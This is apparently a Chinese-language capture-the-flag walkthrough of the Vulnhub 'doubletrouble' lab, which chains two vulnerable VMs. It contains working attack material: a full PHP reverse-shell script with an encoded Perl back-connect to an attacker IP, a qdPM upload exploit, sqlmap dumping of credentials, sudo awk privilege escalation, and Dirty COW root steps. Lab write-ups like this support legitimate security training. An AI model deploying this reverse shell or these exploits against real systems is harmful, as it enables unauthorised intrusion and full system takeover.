Vulnhub實戰-doubletrouble靶機👻
Vulnhub實戰-doubletrouble靶機
靶機下載地址://www.vulnhub.com/entry/doubletrouble-1,743/
下載頁面的ova格式文件導入vmware,或者vitrualbox打開即可
靶機1滲透測試
1.靶機描述
描述
回到頂部
獲得標誌
難度:容易
關於 vm:從 virtualbox 測試並導出。dhcp 和嵌套 vtx/amdv 啟用。您可以通過電子郵件與我聯繫以進行故障排除或問題。
這對 VirtualBox 比 VMware 更有效
這裡有個小tips:因為這個ova格式文件是從vitrualbox虛擬機裡面導出來的,所以你如果在vmware裡面打開就接收不到
ip地址,因為vitrualbox的網卡名字是eth什麼的,後面接數字一般。然後vmware的網卡名字一般是ens開頭,所以你在
vitrualbox導出的虛擬機在vmware打開就不會自動獲取IP,你需要把網卡改成一致然後重啟才能獲取IP。如果不會改網
卡,請參考下面鏈接:
//blog.csdn.net/PeterWuu/article/details/105640638
這個教程第二步好像是:rw single init=/bin/bash
應該不是i,教程上面寫的是i,可能作者手誤吧!😂
2.進行主機發現,埠掃描
首先我們把虛擬機導入vmware或者vitrualbox,這裡我是導入的vmware,然後開啟它就好了
- 進行主機探測
nmap -sn 192.168.33.0/24
我這裡區域網的虛擬機比較多,如果你的區域網虛擬機也比較多分辨不出來的話,你可以通過mac地址去匹配對應的ip地址,mac地址在虛擬機設置裡面可以看到
- 進行埠掃描
nmap -sS -p- -v -O 192.168.33.163
我們可以看到開啟了22和80埠,證明開啟了SSH和web服務,這裡前面文章有提到,你可以嘗試試試暴力破解SSH的用戶名密碼,用kali自帶的hydra工具,經過我上一次嘗試,發現機率微乎其微,除非用的是admin:123456這樣的弱口令。
3.web服務檢測
我們訪問ip地址192.168.33.163
得到如下頁面
我們還是首先用dirsearch目錄掃描一下
python3 dirsearch.py -u '//192.168.33.163' -i 200
我們可以看到果然掃出了一下常見目錄,挨個目錄查看,都沒有發現什麼東西,最後發現/secret/目錄下面有一張圖片,百度發現可以用stegseek工具來暴力破解這張圖片。
下載參考鏈接://www.freebuf.com/sectool/261633.html
然後我們通過kali自帶的字典rockyou.txt,這個字典在kali的/usr/share/wordlist目錄下面,是一個壓縮包,需要先進行解壓
stegseek /root/doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output
我們破解完這張圖片之後生成一個output文件,發現裡面有一個用戶名跟密碼,不用猜肯定是剛剛那個登錄頁面的用戶名密碼,我們來試一試吧!😎
登陸進去之後發現一個文件上傳,在個人設置裡面
qdPM漏洞利用
在一開始的登陸頁面我們可以看到有個qdPM 9.1,搜索qdPM 9.1的漏洞,我們找到一個遠程程式碼執行漏洞。//www.exploit-db.com/exploits/50175, 把腳本下載下來。這個腳本的回車有點問題,需要自己調一下。不過,這個漏洞也挺簡單的,其實就是用戶的myAccount介面的圖片那一欄是可以上傳文件的,那我們就可以上傳一個php反彈shell的腳本。
這裡我不知道啥情況,反正這個腳本我搞不明白,python腳本怎麼上傳php反彈shell呢,如果有大佬知道還望告知,這裡我找到一個php的反彈shell的腳本,大家改一下ip,埠就可以直接上傳用了。
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.33.217";
$yourport = '10086';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
這裡比較搞笑的是,無論是跑腳本還是自己手動上傳,網頁和程式碼的回饋都會讓你覺得自己是不是沒有上傳成功。會報錯,但是其實已經上傳成功了。
上傳之後腳本在剛剛開始我們目錄掃描的那個/uploads/users目錄下
然後kali監聽10086埠,這個埠是你腳本自己設置的埠。
nc -lnvp 10086
提權
接下來我們看一下當前用戶能夠使用的sudo許可權,這裡顯示當前用戶可以免密執行awk命令
搜索一下awk提權,我們可以這樣:
sudo awk 'BEGIN {system("/bin/bash")}'
我們可以看到此時我們已經是root用戶了,看看root文件夾,發現了一個ova文件,百度看了大佬部落格才知道這又是一個虛擬機,好傢夥!😂不愧是doubletrouble啊,果然跟題目還有點呼應,我們下載下來這個虛擬機文件在vmware中開啟。
我們在靶機中開啟http服務功能,然後kali通過wget下載下來,下載下來之後在vmware中開啟靶機。然後還是之前的步驟,掃描主機ip,埠,服務。
python3 -m http.server 9000
wget //192.168.33.163:9000/doubletrouble.ova
如下是python -m的用法:
靶機2滲透測試
1.進行主機探測
nmap -sn 192.168.33.0/24
2.埠,服務發現
nmap -sS -p- -v -O 192.168.33.252
3.web服務測試
首先我們通過埠掃描發現開啟了80埠,說明存在http服務,我們訪問ip地址,看到如下一個登錄框頁面:
這裡讓我們輸入用戶名密碼,然而我們並不知道賬戶名也不知道密碼。嘗試掃描網站目錄發現沒有額外的資訊,就只有這麼一個網站。
sqlmap注入獲取用戶名密碼
我們還想到有一個神器sqlmap,通過sqlmap看看這個登錄框存不存在注入,抓包保存文件1.txt,在kali裡面打開sqlmap掃描,命令如下:
sqlmap -r /root/1.txt --current-db //爆出資料庫名doubletrouble
sqlmap -r /root/1.txt -D doubletrouble --tables //爆表
sqlmap -r /root/1.txt -D doubletrouble -T users --columns //爆欄位
sqlmap -r /root/1.txt -D doubletrouble -T users --dump //爆內容
我們看到這裡有兩對密碼,第一對似乎沒啥用,第二對能夠連上ssh
提權
我們看了一下,這個用戶只是普通用戶,目錄下面有一個user.txt,裡面是一串字元,我們接下來就是想辦法拿到root許可權,看看root文件夾有什麼東東。我們先看看系統版本
uname -a
這裡有個臟牛漏洞,漏洞編號CVE-2016-5195漏洞類型內核競態條件漏洞漏洞危害本地提權影響範圍Linux kernel>2.6.22。該漏洞是Linux內核的記憶體子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有隻讀記憶體映射。黑客可以獲取低許可權的本地用戶後,利用此漏洞獲取其他只讀記憶體映射的寫許可權,進一步獲取root許可權。他有很多個poc,其中這個poc可以生成一個帳號名為firefart的root用戶,//github.com/FireFart/dirtycow
我們把poc下載到靶機的/tmp目錄下,然後編譯,執行。
這裡因為靶機沒有git,wget,yum這些命令,所以我們可以把程式碼複製下來,在靶機通過touch dirty.c創建一個c文件,然後粘貼進去,編譯執行就行了。
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
su firefart
//中間會讓我們輸入一個密碼,這個密碼就是firefart的密碼,然後我們登錄就可以了